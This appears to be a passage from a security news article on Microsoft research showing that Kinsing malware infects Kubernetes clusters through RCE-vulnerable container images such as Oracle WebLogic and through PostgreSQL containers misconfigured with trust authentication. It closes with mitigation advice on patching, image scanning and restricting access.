That Kinsing would begin to find new ways to exploit Kubernetes clusters is on brand for the malware, especially because Kubernetes, like the cloud itself, is notoriously difficult to secure. Attackers have found multiple holes in Kubernetes — including the discovery of more than 380,000 open Kubernetes API servers exposed on the Internet — that have made it open season on cloud environments that use the management platform. Threat actors are even using compromised Kubernetes clusters to launch further malicious attacks.

"Exposing the cluster to the Internet without proper security measures can leave it open to attack from external sources," Bruskin acknowledged in the post.

**Targeting Vulnerable Container Images**

One of the new ways Kinsing is targeting Kubernetes environments is by targeting images that are vulnerable to remote code execution (RCE), the researchers found. This allows attackers with network access to exploit the container and run their malicious payload, they said.

In their observations, Microsoft researchers observed several application images frequently infected with Kinsing malware, including PHPUnit, Liferay, Oracle WebLogic, and WordPress, Bruskin wrote.

A series of high-severity vulnerabilities in WebLogic that Oracle revealed in 2020 — CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883 — have become particular targets of attackers wielding the Kinsing malware, which goes after unpatched WebLogic server images, researchers said.

Attacks begin with scanning of a wide range of IP addresses, looking for an open port that matches the WebLogic default port (7001), Bruskin revealed.

"If vulnerable, attackers can use one of the exploits to run their malicious payload (Kinsing, in this case)," he wrote, using a malicious command.

**PostgreSQL in the Crosshairs**

Microsoft researchers also recently observed a significant amount of Kubernetes clusters running PostgreSQL containers that were infected with Kinsing. They attributed the infections to attackers targeting several common misconfigurations that expose these servers, they said.

One is to use the "trust authentication" setting to configure these containers, which means PostgreSQL will assume that anyone who can connect to the server is authorized to access the database with whatever database user name they specify.  
"However, in some cases, this range is wider than it should be or even accepts connections from any IP address (i.e. 0.0.0.0/0)," Bruskin explained in the post. "In such configurations, attackers can freely connect to the PostgreSQL servers without authentication, which may lead to code execution."

Some network configurations in Kubernetes also are prone to Address Resolution Protocol (ARP) poisoning, which allows attackers to impersonate applications in the cluster. This means that even specifying a private IP address in the "trust" configuration may pose a security risk, the researchers said. ARP is the process of connecting a dynamic IP address to a physical machine's MAC address.

Indeed, as a general rule, configuring a PostgreSQL container to allow access to a broad range of IP addresses is exposing it to a potential threat, Bruskin warned.

Even if administrators don't configure it using an unsecured "trust authentication" method, attackers can brute-force PostgreSQL accounts, use denial-of-service (DoS) or distributed DoS (DDoS) attackers on the container's availability, or exploit the container and the database itself to compromise Kubernetes clusters, he wrote.

**Protecting the Enterprise Cloud**

Researchers offered both general rules of thumb for enterprises implementing Kubernetes environments and specific mitigations to avoid exposing them to attacks that target vulnerable images and common PostgreSQL misconfigurations.

In general, security teams must remain aware of exposed containers and vulnerable images and try to mitigate the risk before they are breached, Bruskin advised.

"Regularly updating images and secure configurations can be a game changer for a company when trying to be as protected as possible from security breaches and risky exposure," he wrote.

To mitigate the risk of implementing containers with vulnerable images, organizations can take several steps when deploying an image to the container, the researchers said. The first is to ensure that the image is from a known registry and that it's been patched and updated to the latest version, they said.

Organizations should also scan all images for vulnerabilities, identifying which ones are vulnerable and what those vulnerabilities are, especially the ones that are used in exposed containers. Finally, the researchers said, minimizing access to the container by assigning access to specific IPs and applying the "least privileges" rule to the user can also prevent attackers from exploiting vulnerable images in Kubernetes environments.

Tag

#php